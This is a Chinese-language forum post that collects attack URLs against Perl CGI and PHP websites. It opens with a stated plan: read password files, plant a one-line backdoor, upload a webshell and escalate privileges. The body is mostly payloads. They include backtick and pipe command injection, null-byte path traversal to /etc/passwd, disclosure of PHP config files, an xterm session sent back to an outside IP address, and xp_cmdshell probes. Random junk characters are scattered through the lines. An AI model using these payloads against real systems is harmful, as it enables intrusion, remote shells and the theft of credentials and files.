找回密码
 立即注册
查看: 3576|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  " S; [- l( H/ }8 G
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  3 D  P, [3 }# }# a9 O$ W
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
8 m5 h/ _6 I5 O注“  ; H, a; O! i* ]8 b/ f7 T" f, b. `" ^6 A
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
, `( j9 L# ?- R2 b) ^; h以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  8 q& n- u/ k9 K2 k' ], E# E+ n+ E
% X6 Z& ~: x+ ~1 V$ J
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  ) t. D; _8 {2 r5 b
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ( D0 t1 j0 s& D% W
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  4 E8 k5 P* o! ~7 m5 j5 k  H3 \* _6 t
http://target.com/cgi-bin/home/news/sub.pl?`id`  
" R, f& L, F% w3 Nhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
6 G/ W) @  d  O/ \( Qhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  % k. W+ g: U7 n; |# Q0 }( W$ F8 O
- l6 i: L. j- h
http://target.com/test.pl;ls|  
+ A6 E: H, T- K# z3 S, ^http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|    L' l; r8 F- \* W& U) I7 J
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  + x. ~' M+ u/ u$ w! I0 U/ _
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
& j$ s  b$ e* `8 V比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
$ v# A( H# }' d$ {% J( \http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
2 U+ |* ?+ D' g# t
5 ?9 S0 q: y- W* P7 ^http://target.com/test.pl?&........ /../../etc/passwd  ' t( u  N( e, c
7 G8 h/ ?9 ^* }. m! f
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  - h6 C1 f  ?4 k* b, u4 d
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  6 v1 a$ W8 x! U* K% q
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  " r2 w1 z, a8 D' `8 c/ s% f5 M

% O/ b% `% T) Y: R; V6 T2 hhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
: _: z; d- |  X; @1 Z0 N' Khttp://www.target.org/show.php?f ... ng/admin/global.php  
9 N. D. a! X/ e* o# ]7 @4 {2 Q4 N" }# j6 A! y
emm和ps的一句话* H# N8 l# c- q
; T- J' `1 ?4 A6 J" [9 N
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
* k( P& i: u8 H# ]9 i7 N7 P
: N* O% z# j9 o1 M& t) k$ c>bbb%20|  * V6 t1 r' e. p2 g8 A* O

2 m2 m6 I& k) t8 ]) _3 ehttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  5 I8 m7 ]! B! U
2 X* o9 k' ~0 @3 N% L  n# R
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  . }( ?4 H5 [" C1 H4 T
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
* D7 m4 S  q) o. R" N5 u
8 u2 y" z$ K: g- g: m; C相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  8 r6 M. R* V1 k/ N. X) l
http://target.com/index.html#cmd.exe  
; A# \9 d6 u, S  j( e6 W8 v8 W+ Khttp://target.com/index.html?dummyparam=xp_cmdshell  
: J, B0 H0 n8 d( S8 p( wlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
4 i4 M! \% b" ~6 N: ]' x5 m7 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表